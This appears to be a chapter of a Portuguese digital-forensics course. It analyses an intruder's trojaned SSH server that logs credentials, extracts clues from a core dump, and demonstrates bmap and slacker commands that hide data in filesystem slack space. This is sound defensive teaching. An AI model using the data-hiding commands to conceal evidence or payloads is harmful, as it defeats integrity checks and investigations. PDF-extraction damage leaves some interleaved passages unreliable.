Atividade 2 Busca de ferramentas na internet . . . . . . . . . . . . . . . . . . . . . . . 114

100

Escola Superior de Redes RNP

Recuperao e anlise de evidncias


Arquivos, partes de logs, timestamps ou ferramentas
podem comprovar atividades realizadas pelo invasor.
Muitas vezes estas evidncias no so suficientes para
obter uma imagem completa das atividades do invasor.
Outras vezes, a quantidade reduzida de evidncias
coletadas impede a montagem de uma seqncia lgica de
eventos.
Aprenderemos a analisar evidncias em arquivos de core
dump e a examinar arquivos binrios.
Descobriremos como os invasores utilizam os espaos
desperdiados no fim dos blocos de dados para ocultar
evidncias.

Recuperao e anlise de evidncias


Durante a investigao comum encontrar arquivos,
partes de logs, timestamps ou ferramentas que comprovam atividades realizadas pelo invasor. Mesmo
assim, muitas vezes no conseguimos ter uma
imagem completa das atividades do invasor somente
com estas evidncias. Outras vezes, a quantidade
de evidncias encontradas to pequena que ficam
faltando dados suficientes para a montagem de uma
seqncia lgica de eventos.
importante que o investigador tenha pelo menos o
conhecimento bsico para realizar uma anlise mais
aprofundada em determinadas evidncias.

Aprenderemos a analisar evidncias em arquivos de core dump, a examinar arquivos binrios, e descobriremos como os invasores utilizam os espaos desperdiados no fim dos blocos de dados para ocultar evidncias.

Anlise de executveis

Anlise de executveis
Regras durante uma anlise de executveis:
Jamais execute o programa em sua estao forense; utilize
uma mquina separada e isolada exclusivamente para isso
A mquina de anlise no deve estar conectada na internet
Inicie a anlise com ferramentas mais simples, como file,
strings e ldd
Somente aps coletar todas as informaes possveis com
estas ferramentas que deve ser feita uma engenharia reversa
do cdigo
Em ltimo caso deve-se executar o programa em um ambiente
controlado e isolado da rede
Jamais confie em um programa suspeito

\\Inicie

Algumas regras a serem seguidas durante uma anlise de executveis:


\\Jamais

execute o programa em sua estao


forense; utilize uma mquina separada e isolada
exclusivamente para isso;

\\A

mquina de anlise no deve estar conectada


na internet; conecte-a a outra mquina atravs
de um hub ou cabo cross-over, para o caso do
programa tentar conectar-se rede. Deste modo
voc poder monitorar a atividade;

a anlise com ferramentas mais simples, como file, strings e ldd;

\\Somente

aps coletar todas as informaes possveis com estas ferramentas


que deve ser feita uma engenharia reversa do cdigo;

\\Em

ltimo caso, se for realmente necessrio, deve-se executar o programa em um


ambiente controlado e isolado da rede. Jamais confie em um programa suspeito.

importante deixar claro que nunca se deve executar programa desconhecido


em um ambiente conectado rede. Mesmo que o binrio parea inofensivo, pode
conter cdigo malicioso escondido que poderia comprometer a mquina ou outros
computadores da rede.

Anlise forense Sesso de aprendizagem 6

101

# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls8

Anlise de executveis
Vamos usar como exemplo um arquivo que foi
encontrado em uma sesso anterior:
# find /mnt/image/ -anewer /mnt/image/dev/hdx1
-ls
...
92030 664 -rwxr-xr-x 1 root root 672527 Sep 4
2002 /mnt/image/usr/bin/smbd\ -D

...
92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002
/mnt/image/usr/bin/smbd\ -D

O comando find acima foi visto anteriormente, e continha


a referncia ao arquivo que vamos usar como exemplo.
O comando istat mostra as datas de acesso e modificao do inode, que confirmam que o arquivo foi
criado aproximadamente no horrio em que estava
ocorrendo a invaso. A data de modificao do
arquivo (isto , do contedo do arquivo) antiga, pois
o arquivo provavelmente foi extrado de um arquivo
TAR que mantm a data de modificao original.
O arquivo suspeito, pois foi criado no perodo em
que ocorreu a invaso:

Anlise de executveis
Arquivo suspeito criado no perodo da invaso:
# istat /data/compromised/compromised_hda1.img 92030
inode: 92030
uid / gid: 0 / 0
mode: -rwxr-xr-x
size: 672527
Accessed: Sun Aug 10 16:54:18 2003
File Modified: Wed Sep 4 00:54:10 2002
Inode Modified: Sun Aug 10 14:33:33 2003

# istat /data/compromised/compromised_hda1.img 920308


inode: 92030
uid / gid: 0 / 0
mode: -rwxr-xr-x
size: 672527
Accessed: Sun Aug 10 16:54:18 2003
File Modified: Wed Sep 4 00:54:10 2002
Inode Modified: Sun Aug 10 14:33:33 2003

# file /mnt/image/usr/bin/smbd\ -D8

Anlise de executveis
Comece a procurar pelas informaes mais fceis:
# file /mnt/image/usr/bin/smbd\ -D
/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executable,
Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0,
dynamically linked (uses shared libs), not stripped
# cp /mnt/image/usr/bin/smbd\ -D /data/compromised/smbd
D
# ldd /data/compromised/smbd\ -D
linux-gate.so.1 => (0xffffe000)
libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000)
libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000)
libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)

/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executa


ble, Intel 80386, version 1 (SYSV), for GNU/Linux 2
.0.0, dynamically linked (uses shared libs), not st
ripped
# cp /mnt/image/usr/bin/smbd\ -D /data/compromised
/smbd D8
# ldd /data/compromised/smbd\ -D8
linux-gate.so.1 => (0xffffe000)
libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000)
libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000)
libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)

Pelo comando file vemos que o arquivo no teve os


smbolos removidos, o que pode auxiliar na anlise. Trata-se de um executvel
para Linux ligado dinamicamente a bibliotecas locais.
Vemos pelo resultado do comando ldd que o executvel smbd utiliza funes da
biblioteca de criptografia do sistema.

Recuperao e anlise de evidncias (parte 2)

102

Escola Superior de Redes RNP

Uma procura por strings dentro do executvel pode


fornecer informaes muito teis:

Anlise de executveis
Uma procura por strings dentro do executvel pode fornecer informaes
muito teis:
# strings -a /data/compromised/smbd D
/lib/ld-linux.so.2
libcrypt.so.1
/usr/include//iceconf.h
By-ICE_4_All ( Hackers Not Allowed! )
sshd version %.100s [%.100s]
Bind to port %d failed: %.200s.
Server listening on port %d.
Connection from %.100s port %d
SSH-%d.%d-%.50s
Your ssh version is too old and is no longer supported.
install a newer version.
+-[ User Login Incoming ]----------- --- --- - | username: %s password: %s%s hostname: %s
ROOT LOGIN as '%.100s' from %.100s

Please

/usr/include//icekey.h
/usr/include//iceseed.h

# strings -a /data/compromised/smbd D8
/lib/ld-linux.so.2
libcrypt.so.1
/usr/include//iceconf.h
By-ICE_4_All ( Hackers Not Allowed! )
sshd version %.100s [%.100s]
Bind to port %d failed: %.200s.
Server listening on port %d.
Connection from %.100s port %d
SSH-%d.%d-%.50s
Your ssh version is too old and is no longer suppor
ted. Please install a newer version.
+-[ User Login Incoming ]----------- --- --- - | username: %s password: %s%s hostname: %s
ROOT LOGIN as %.100s from %.100s
/usr/include//icekey.h
/usr/include//iceseed.h

As strings acima foram resumidas e mostram apenas algumas partes mais importantes.
Podemos ver referncias a arquivos dentro do diretrio /usr/include, e mensagens
sobre o autor da ferramenta. Tambm podemos ver que trata-se de um servidor
SSH, possivelmente modificado pelo hacker. Alm disso, vemos um texto que
parece ser parte de um log (user login incoming), possivelmente um log adicional
que a ferramenta gera alm do log normal do SSH. No fim, mais referncias a
arquivos no /usr/lib.

Anlise de executveis
Podemos ver indicaes de possveis arquivos para procurar
no disco:
# ls -li /mnt/image/usr/include/ice*
92015 -rw-r--r-- 1 root root 692 May 16 2003
/mnt/image/usr/include/iceconf.h
91850 -rw------- 1 root root 539 May 24 2002
/mnt/image/usr/include/icekey.h
3176 -rw-r--r-- 1 root root
5 Aug 10 2003
/mnt/image/usr/include/icepid.h
92007 -rw------- 1 root root 512 Aug 10 2003
/mnt/image/usr/include/iceseed.h
# file /mnt/image/usr/include/ice*
/mnt/image/usr/include/iceconf.h: ASCII text
/mnt/image/usr/include/icekey.h: data
/mnt/image/usr/include/icepid.h: ASCII text
/mnt/image/usr/include/iceseed.h: data

Podemos ver na sada das strings informaes que


sugerem que o arquivo um servidor SSH. Podemos
at mesmo ver indicaes de possveis arquivos
para procurar no disco:
# ls -li /mnt/image/usr/include/ice*8
92015 -rw-r--r-- 1 root root 692 May
mage/usr/include/iceconf.h
91850 -rw------- 1 root root 539 May
mage/usr/include/icekey.h
3176 -rw-r--r-- 1 root root 5 Aug 10
e/usr/include/icepid.h
92007 -rw------- 1 root root 512 Aug
mage/usr/include/iceseed.h

16 2003 /mnt/i
24 2002 /mnt/i
2003 /mnt/imag
10 2003 /mnt/i

# file /mnt/image/usr/include/ice*8
/mnt/image/usr/include/iceconf.h: ASCII text
/mnt/image/usr/include/icekey.h: data
/mnt/image/usr/include/icepid.h: ASCII text
/mnt/image/usr/include/iceseed.h: data

Os arquivos ainda esto presentes no disco e, de acordo com o comando file,


contm texto e dados binrios. Algumas vezes, a anlise de executveis pode ser
facilitada se encontramos mais evidncias no disco para apoiar a anlise.

Anlise forense Sesso de aprendizagem 6

103

Examinando um dos arquivos de texto, vemos que realmente um arquivo de configurao de servidor SSH:

Anlise de executveis
Arquivo de configurao de servidor SSH:
# cat /mnt/image/usr/include/iceconf.h 
# This is ssh server systemwide configuration file.
Port 2003
ListenAddress 0.0.0.0
HostKey /usr/include//icekey.h
RandomSeed /usr/include//iceseed.h
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 1
PermitRootLogin yes

# cat /mnt/image/usr/include/iceconf.h8
# This is ssh server systemwide configuration file.
Port 2003
ListenAddress 0.0.0.0
HostKey /usr/include//icekey.h
RandomSeed /usr/include//iceseed.h
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 1
PermitRootLogin yes

Um dos arquivos encontrados realmente uma configurao de servidor SSH. Podemos ver que a porta onde este servidor escuta
a 2003, uma porta que no comum. Seria interessante correlacionar este tipo
de informao com informaes de dispositivos de rede e firewall, para ver se
realmente ocorreu alguma atividade nesta porta.

Anlise de executveis
Chave privada do servidor com identificao do
usurio que a gerou:
# strings -a /mnt/image/usr/include/icekey.h
SSH PRIVATE KEY FILE FORMAT 1.1
"0w:
RXqU_C
root@lessons.menchey.com}
z>'|E
b9jH2
\=?0
;d-)
L=7~=
(e8

Fazendo um exame de um dos arquivos de dados,


obtemos a chave privada do servidor com a identificao do usurio que a gerou:
# strings -a /mnt/image/usr/include/icekey.h8
SSH PRIVATE KEY FILE FORMAT 1.1
0w:
RXqU_C
root@lessons.menchey.com}
z>|E
b9jH2
\=?0
;d-)
L=7~=
(e8

Quando um servidor SSH instalado, precisa de uma chave privativa para funcionar. A chave gerada de acordo com usurio e host, e neste caso podemos
ver que a informao ficou gravada no arquivo e pode dar indicaes de onde o
hacker esteve antes de invadir o sistema.

Recuperao e anlise de evidncias (parte 2)

104

Escola Superior de Redes RNP

Anlise do cdigo

Anlise do cdigo
Aps conseguir o mximo de informaes sobre o
programa, o analista realiza a engenharia reversa do
programa.
Realizar a engenharia reversa significa transformar o
cdigo de mquina novamente em cdigo-fonte, para
analisar as funes do programa.
Pode revelar funes obscuras do programa.
Este conhecimento pode ser til para evitar novas
invases ou para eliminar as que ainda existem.

Somente depois de conseguir o mximo de informaes possveis sobre o programa (lembre-se de usar
o Google), que o analista deve tentar realizar a
engenharia reversa do programa.

Realizar a engenharia reversa de um programa significa transformar o cdigo de mquina novamente em


cdigo-fonte, para analisar as funes do programa.
Algumas vezes necessrio fazer isso para descobrir funes obscuras do programa. Por exemplo,
se a ferramenta encontrada for um bot, talvez seja
necessrio identificar o endereo do controlador, como o invasor faz para se
autenticar e controlar o bot. Este conhecimento pode ser til para evitar novas
invases ou para eliminar as que ainda existem.
Bot (do ingls robot) um programa que permite que um invasor controle toda a
mquina remotamente. Uma rede de computadores infectados com bot forma uma
botnet e permite que o invasor controle centenas de computadores ao mesmo
tempo, atravs de um servidor central conhecido como controlador da botnet.
Existem diversos mtodos de controle de botnet, sendo os mais comuns o IRC e
o HTTP. Por isso, algumas vezes importante realizar a anlise do binrio para
conhecer mais sobre a ferramenta e prevenir a instituio de outras invases.

Anlise do cdigo
Diversas ferramentas fazem engenharia reversa de
cdigo:
OllyDBG
IDA Pro
Entre outras
LDasm:
Ferramenta escrita em Perl, com interface grfica para
Linux
No faz parte do CD do Helix
# /data/tools/LDasm0.04.53/bin/ldasm

Vamos ver uma ferramenta escrita em Perl, com


interface grfica para Linux. Chama-se LDasm, e no
faz parte do CD do Helix:
# /data/tools/LDasm0.04.53/bin/ldasm8

A engenharia reversa de binrios extremamente


complexa, necessitando de conhecimento aprofundado de linguagens de programao e do sistema
operacional do binrio; normalmente preciso
dedicar muitas horas de anlise para identificar as
funcionalidades de um programa.

O contedo necessrio para explicar este tipo de


anlise seria suficiente para outro curso com a mesma extenso deste. No
vamos nos aprofundar na realizao de engenharia reversa, o que est fora dos
objetivos deste curso. O aluno que tiver conhecimentos de assembler e programao poder se aprofundar no assunto.

Anlise forense Sesso de aprendizagem 6

105

Aqui temos um exemplo do LDasm, mostrando o arquivo exemplo aberto na parte


do cdigo que faz referncia s strings vistas anteriormente.

Se realmente for necessrio, o investigador pode executar o programa em um ambiente controlado e isolado.

Anlise do cdigo
O investigador pode executar o programa em um
ambiente controlado e isolado.
O primeiro passo encontrar o ponto de incio do
programa:
# nm /data/compromised/smbd\ -D
08054ccc T MD5Final
08054be0 T MD5Init
...
08049b84 ? _init

Conecte a estao em um hub, switch ou cabo crossover para monitorar a atividade de rede. Mesmo
assim, execute o programa dentro de um depurador
de cdigo, como o GDB, OllyDBG ou IDA Pro.
O primeiro passo encontrar o ponto de incio do
programa:
# nm /data/compromised/smbd\ -D8
08054ccc T MD5Final
08054be0 T MD5Init
...
08049b84 ? _init

Aqui ficam os avisos sobre executar o binrio em um ambiente controlado e isolado.


Com o comando nm, vemos as funes que o programa exporta ou importa das
bibliotecas, e tambm a funo inicial do programa, chamada logo que ele
carregado na memria. Esta a funo que devemos procurar em um depurador,
para interromper o programa antes que ele execute alguma funo perigosa.

Recuperao e anlise de evidncias (parte 2)

106

Escola Superior de Redes RNP


Agora, podemos executar o programa passo a
passo com o depurador:

Anlise do cdigo
Executando o programa com o depurador:
# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D
(gdb) b * 0x08049b84
Breakpoint 1 at 0x8049b84
(gdb) run
Starting program: /data/compromised/smbd -D
Breakpoint 1, 0x08049b84 in _init ()
(gdb) stepi
0x08049b85 in _init ()
(gdb) bt
#0 0x08049b85 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/tls/libc.so.6
#2 0x0804a501 in _start ()
(gdb) disassemble 0x08049b85 0x08049baa
Dump of assembler code from 0x8049b85 to 0x8049baa:
0x08049b85 <_init+1>:
mov
%esp,%ebp

# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D8


(gdb) b * 0x08049b84
Breakpoint 1 at 0x8049b84
(gdb) run
Starting program: /data/compromised/smbd -D
Breakpoint 1, 0x08049b84 in _init ()
(gdb) stepi
0x08049b85 in _init ()
(gdb) bt
#0 0x08049b85 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/
tls/libc.so.6
#2 0x0804a501 in _start ()
(gdb) disassemble 0x08049b85 0x08049baa
Dump of assembler code from 0x8049b85 to 0x8049baa:
0x08049b85 <_init+1>: mov %esp,%ebp

Observamos a sesso de execuo do programa dentro do depurador. Inicialmente,


criamos um breakpoint, ou ponto de parada do programa, para que ele no execute
totalmente. Dessa forma, o programa vai parar na funo onde criamos o breakpoint.
No caso, estamos criando o breakpoint na funo init, como vimos anteriormente.
A seguir, executamos o programa e ele pra no ponto onde marcamos.
Com o comando step podemos ir avanando linha por linha do cdigo, para saber
as funes do programa. O comando bt mostra o backtrace do programa, isto
, a pilha de chamadas de funes do programa, que serve para conhecer mais
sobre o fluxo do programa.
O comando disassemble permite ver uma parte do cdigo assembler do programa.
Novamente, no vamos realizar aqui uma anlise completa do programa, pois isso
levaria muito tempo.

Anlise forense Sesso de aprendizagem 6

107

Anlise de core dump

Anlise de core dump


Arquivos de core dump podem fornecer boas pistas
sobre o invasor
Gerados quando algum programa executa uma
operao ilegal e encerrado pelo sistema
Gerados quando algum programa executado no foi
terminado corretamente
Armazenam uma cpia da memria do programa no
momento em que ocorreu a falha
Guardam todas as informaes sobre o arquivo que o
gerou, para que o programador possa descobrir o que
causou o erro.

Outros exemplos de evidncias que podem nos dar


boas pistas sobre o invasor so os arquivos de core
dump. Estes arquivos so gerados quando algum
programa executa uma operao ilegal e encerrado
pelo sistema.

Os arquivos de core dump so gerados quando


algum programa executado no foi terminado corretamente, devido a um erro grave como falta de
memria, acesso indevido ou erros de programao.
So importantes porque armazenam uma cpia da
memria do programa no momento em que ocorreu a falha, e guardam todas as
informaes sobre o arquivo que o gerou, para que o programador possa descobrir o que causou o erro. Isto muito til para o analista forense, pois podemos
descobrir informaes sobre o programa executado e sobre quem o executou.

Anlise de core dump


Examinando o arquivo /data/compromised/smbd-D.core, podemos
encontrar informaes interessantes sobre o programa:
# strings -a /data/compromised/smbd-D.core 
smbd -D
/data/compromised/smbd -D
Linux
Helix
/data/compromised/smbd D
SSH_CLIENT=192.168.47.1 4062 22
USER=root
PWD=/root
LOGNAME=root
SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22

Anlise de core dump


Um arquivo core dump tem algumas informaes importantes
sobre a ferramenta que o gerou:
Nome original do executvel
Nome do usurio que executou o programa
Cpia das variveis de ambiente no momento da execuo
Possivelmente informaes sobre a conexo SSH do invasor
(varivel $SSH_CLIENT)
Informaes sobre o que causou o fim prematuro do programa
e a gerao do core dump
Se tivermos o binrio original, podemos utilizar o gdb para
examinar o arquivo de core dump juntamente com o binrio e
descobrir o que aconteceu no momento da falha

Recuperao e anlise de evidncias (parte 2)

Vamos utilizar como exemplo o arquivo /data/compromised/smbd-D.core. Examinando este arquivo,


podemos encontrar informaes interessantes sobre
o programa:
# strings -a /data/compromised/smbd-D.core8
smbd -D
/data/compromised/smbd -D
Linux
Helix
/data/compromised/smbd D
SSH_CLIENT=192.168.47.1 4062 22
USER=root
PWD=/root
LOGNAME=root
SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22

Podemos ver na sada do comando strings algumas


informaes sobre o arquivo que gerou o core.
Neste caso, o comando foi o mesmo que utilizamos
como exemplo. Podemos observar o nome do sistema operacional e diversas variveis de ambiente
que permitem identificar o usurio que rodou o
programa e o diretrio onde ele estava, alm das
variveis do SSH que permitem identificar de onde
o invasor estava conectado no momento em que o
arquivo foi gerado.

108

Escola Superior de Redes RNP

Slack space

Slack space
A busca por arquivos deixados pelo invasor pode ser
demorada, exigindo pacincia e dedicao.
O que acontece quando a evidncia que procuramos
foi escondida intencionalmente, de forma que no seja
possvel encontr-la com as ferramentas que vimos
at agora?
Existem tcnicas para esconder a informao, atravs
das quais o dado escondido no pode ser identificado
mesmo que se tenha acesso ao arquivo onde est
armazenado.
Um exemplo a tcnica chamada de Esteganografia.

A busca por arquivos deixados pelo invasor ou


partes de arquivos, evidncias de acesso ou timestamps das atividades pode ser demorada, exigindo
pacincia e dedicao.
O que acontece quando a evidncia que procuramos
foi escondida intencionalmente, de forma que no
seja possvel encontr-la com as ferramentas que
vimos at agora?

Existem tcnicas para esconder a informao,


em que o dado escondido no pode ser identificado mesmo que se tenha
acesso ao arquivo onde est armazenado. Um exemplo a tcnica chamada de
Esteganografia. Com ela, algum pode esconder determinada informao dentro
de outra informao, de forma que no possvel separar os dados de uma e de
outra. Dessa forma, se voc tiver acesso informao utilizada para esconder o
dado original, no saber que este dado est ali.

Slack space
Vimos que quando um arquivo tem um tamanho menor que o
tamanho do bloco, o espao restante desperdiado. Este
espao conhecido como slack space.
O slack space usado como tcnica para esconder
informao.
Os blocos de dados so as menores estruturas possveis em
um sistema de arquivos.
Bloco de dados

dados do arquivo

slack space

Isto acontece porque cada bloco pode estar alocado por


apenas um inode de cada vez, e cada inode est associado a
um nico arquivo.

Slack space

Normalmente, este espao desperdiado pelo


sistema operacional. Se um sistema de arquivos
tiver um tamanho de bloco incompatvel com o tipo
de arquivo que normalmente armazenado nele, vai
haver muito desperdcio de espao.
Por exemplo, suponha que o sistema de arquivos foi
formatado com blocos de 32 kb de tamanho. Isto
poderia ser interessante em um sistema que gravasse
arquivos grandes, pois o tamanho maior de bloco faria
com que as operaes de leitura e escrita fossem
mais rpidas. Mas em um sistema que possua arquivos
pequenos, com menos de 32 Kb, cada arquivo gravado
em disco ocuparia somente um nico bloco, mas no
o bloco inteiro.

Vimos que quando um arquivo tem um tamanho menor que o


Assim, se do
vocbloco,
gravar 100
arquivos de
1 kb neste
ocuparia 3200Este
kb (100
tamanho
o espao
restante
disco,
desperdiado.
* 32 kb) em vez de 100 kb (100 * 1kb), como seria de se esperar. A razo disto
espao
conhecido como slack space.
que cada bloco pode estar alocado em apenas um inode de cada vez, e cada
nico arquivo.
O inode
slackassociado
space aum
usado
como tcnica para esconder
informao.
Qualquer sistema de arquivos, com qualquer tamanho de bloco, est sujeito a
Osesse
blocos
dados so
as menores
estruturas
tipo dede
desperdcio,
pois dificilmente
os arquivos
tero umpossveis
tamanho numem
mltiplo de
do tamanho
do bloco.
umvalor
sistema
arquivos.
Bloco de dados

dados do arquivo

slack space

Isto acontece porque cada bloco pode estar alocado por


apenas um inode de cada vez, e cada inode est associado a
um nico arquivo.

Anlise forense Sesso de aprendizagem 6

109

Exemplo:

Slack space

# du -sb /data/dirt_list.txt8
Exemplo:
# du -sb /data/dirt_list.txt
60 /data/dirt_list.txt
# du -sk /data/dirt_list.txt
4 /data/dirt_list.txt

Mas o que isso tem a ver com esconder informao?


Contando que este espao desperdiado sempre vai existir,
foram desenvolvidas ferramentas para esconder informaes
nele.
O bmap uma ferramenta para esconder dados no slack space
de qualquer arquivo, ou at mesmo em um diretrio inteiro, e
depois recuperar essas informaes quando for necessrio.

60 /data/dirt_list.txt
# du -sk /data/dirt_list.txt8
4 /data/dirt_list.txt

No exemplo, o arquivo tem 60 bytes, o que mostra


o primeiro comando. O segundo comando, ao mostrar o tamanho em kb, informa que o arquivo tem 4
kb, pois este o espao que ele ocupa em disco,
contando o slack space. O arquivo ocupa um bloco
inteiro, apesar de s utilizar 60 bytes deste bloco
para seus dados.

Este espao extra pode ser utilizado para esconder informao. Como os dados
do arquivo no so modificados, sua assinatura SHA1 no modificada, e como
no h nenhuma referncia aos dados que esto neste espao extra, o sistema
operacional nunca sabe que ele existe.
possvel at mesmo utilizar todos os arquivos de um diretrio para armazenar
um dado, se este tiver um tamanho maior do que o que caberia em um nico
slack space de um bloco.
Vejamos alguns exemplos:

Slack space

# bmap --mode slackbytes /data/dirt_list.txt8


Exemplos:
# bmap --mode slackbytes /data/dirt_list.txt
4036
# cat /data/badfiles_hashs.sha1 | bmap --mode
putslack /data/dirt_list.txt
stuffing block 1540604
file size was: 60
slack size: 4036
block size: 4096
# bmap --mode slack /data/dirt_list.txt
getting from block 1540604
8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod
44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo

4036
# cat /data/badfiles_hashs.sha1 | bmap --mode putsla
ck /data/dirt_list.txt8
stuffing block 1540604
file size was: 60
slack size: 4036
block size: 4096
# bmap --mode slack /data/dirt_list.txt8
getting from block 1540604
8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod
44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo

No primeiro exemplo, checamos o espao disponvel


no slack space de um arquivo.
A seguir, escondemos um dado neste espao. Veja que o programa bmap recebe
os dados que vo ser gravados no slack space atravs do STDIN, e o arquivo
especificado no comando o arquivo onde vai ser gravada a informao.
O ltimo comando mostra como recuperar uma informao no slack space.

Recuperao e anlise de evidncias (parte 2)

110

Escola Superior de Redes RNP


Vejamos alguns exemplos:

Slack space

# dcat /dev/sda5 1540604 | hexdump -C8


Vejamos alguns exemplos:
# dcat /dev/sda5 1540604
00000000 74 74 79 6f 70
|ttyop.ttyoa.ttyo|
00000010 66 0a 68 64 78
|f.hdx1.hdx2.sshd|
00000020 20 76 65 72 73
ve|
00000020 20 76 65 72 73
ve|
00000030 72 73 69 6f 6e
|rsion.\w@\w.8bc9|

| hexdump -C
0a 74 74 79 6f 61 0a 74 74 79 6f
31 0a 68

64 78 32 0a 73 73 68 64

69 6f 6e

0a 42 61 73 68 20 76 65

| version.Bash

69 6f 6e

0a 42 61 73 68 20 76 65

| version.Bash

0a 5c 77

40 5c 77 0a 38 62 63 39

# ls -l /data/dirt_list.txt
-rw-r--r-- 1 root root 60 Jan

6 17:24 /data/dirt_list.txt

# cat /data/compromised/smbd-D.core | slacker --mode fill

00000000 74 74 79 6f 70 0a
79 6f |ttyop.ttyoa.ttyo|
00000010 66 0a 68 64 78 31
68 64 |f.hdx1.hdx2.sshd|
00000020 20 76 65 72 73 69
76 65 | version.Bash ve|
00000020 20 76 65 72 73 69
76 65 | version.Bash ve|
00000030 72 73 69 6f 6e 0a
63 39 |rsion.\w@\w.8bc9|

74 74 79 6f 61 0a 74 74
0a 68 64 78 32 0a 73 73
6f 6e 0a 42 61 73 68 20
6f 6e 0a 42 61 73 68 20
5c 77 40 5c 77 0a 38 62

/data/tools

# slacker --mode pour /data/tools > /tmp/test.dat

# ls -l /data/dirt_list.txt8
-rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_li
st.txt
# cat /data/compromised/smbd-D.core | slacker
--mode fill /data/tools8
# slacker --mode pour /data/tools > /tmp/test.dat8

Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a
informao foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito,
so do arquivo original, enquanto o restante faz parte do arquivo que foi escondido.
Normalmente, em um bloco sem informao escondida existiriam somente bytes
0x00 nestas posies ou restos de arquivos anteriores e dos buffers de gravao na
memria.
Os dois ltimos exemplos mostram a ferramenta slacker, que permite gravar uma
informao em mais de um arquivo. Ela funciona da seguinte forma: lista o slack
space em cada arquivo do diretrio passado como parmetro, e grava um pedao
da informao em cada arquivo at terminar o dado.
O ltimo comando mostra como recuperar o arquivo deste diretrio. Como no
possvel saber onde a informao acaba, o comando acima vai ler o slack space de
todos os blocos no diretrio, mesmo que eles no tenham sido usados para gravar a
informao original; por isso, para recuperar o arquivo original necessrio saber o
tamanho total do arquivo, e separar esses bytes de dentro do arquivo /tmp/test.dat.

Slack space
Nenhuma ferramenta que verifique a integridade do
sistema vai acusar a presena destes dados.
Se o arquivo for apagado o bloco de dados pode ser
alocado em outro arquivo e a informao no slack
space pode ser sobrescrita.
O mesmo acontece se o arquivo que utilizamos para
armazenar a informao aumentar de tamanho.
Por isso, esta informao considerada voltil.
Existem ferramentas que permitem criar um sistema
de arquivos completo dentro do slack space de um
diretrio.

Anlise forense Sesso de aprendizagem 6

Como no modificamos o contedo do arquivo, mas


somente do espao desperdiado, nenhuma ferramenta
que verifique a integridade do sistema vai acusar a
presena destes dados.
Como o espao utilizado para armazenar os dados
o espao desperdiado em um bloco, se o arquivo
for apagado o bloco de dados pode ser alocado em
outro arquivo e a informao no slack space pode
ser sobrescrita.

111

O mesmo acontece se o arquivo que utilizamos para armazenar a informao


aumentar de tamanho. Por isso, esta informao considerada voltil. Mesmo
assim, existem ferramentas que permitem criar at mesmo um sistema de arquivos
completo dentro do slack space de um diretrio.

Concluses
Apenas recuperar arquivos apagados pode no ser suficiente
Em alguns casos, precisamos nos aprofundar nas provas, e
descobrir as funcionalidades de um executvel desconhecido
Podemos descobrir informaes sobre o programa com
ferramentas bsicas ou realizar uma anlise avanada, fazendo
a engenharia reversa do cdigo ou executando o programa em
ambiente controlado
A anlise do contedo de arquivos core dump pode fornecer
informaes sobre o invasor e a ferramenta
Precisamos procurar at mesmo onde nem imaginamos haver
informao, como no slack space dos blocos de disco

Recuperao e anlise de evidncias (parte 2)

Concluses
Na prxima sesso reuniremos todas as evidncias
encontradas para correlacion-las em uma linha de
tempo. Com isso, vamos tentar descobrir como e
quando o ataque ocorreu e identificar o que foi feito
na mquina aps a invaso. Esta informao ser til
para que a empresa se proteja de ataques futuros.

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 6

112

6
Sesso de aprendizagem 6
Recuperao e anlise de evidncias
(parte 2)
Roteiro de atividades
Tpicos e conceitos
\\Investigao

do contedo dos arquivos e descoberta de ferramentas


necessrias para pesquisas avanadas.

Competncias tcnicas desenvolvidas


\\Utilizao

de comandos que fazem anlise do contedo de arquivos.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

114

Atividade 1 Anlise do contedo do arquivo


1. Um dos arquivos encontrados na sesso passada continha uma srie de
ferramentas instaladas na mquina pelo invasor. Alm disso, o pacote
continha cpias de binrios comumente encontrados na mquina.
Examine os arquivos ifconfig, ls, netstat, ps e syslogd e faa um relatrio
resumindo o que voc acha que estes programas fazem. Utilize as
tcnicas vistas durante a sesso, mas no necessrio realizar a
engenharia reversa do cdigo (faa apenas se achar que consegue). A
atividade deve ser feita em dupla.
2. Outro arquivo que existe nesse pacote um arquivo de core-dump.
Analise este arquivo e faa um relatrio com as informaes que
encontrar. O que voc pode dizer sobre o usurio que gerou esse
arquivo?

Atividade 2 Busca de ferramentas na internet


Procure na internet mais informaes sobre o uso do Slack Space em


sistemas de arquivos. Quais restries existem para usar o Slack Space?
Para quais sistemas de arquivos existem ferramentas para usar este
espao? Faa um relatrio sobre o que encontrar, incluindo descries
breves das ferramentas e de como elas funcionam.

Anlise forense Sesso de aprendizagem 6

7
Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque
Sumrio da sesso
Linha de tempo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
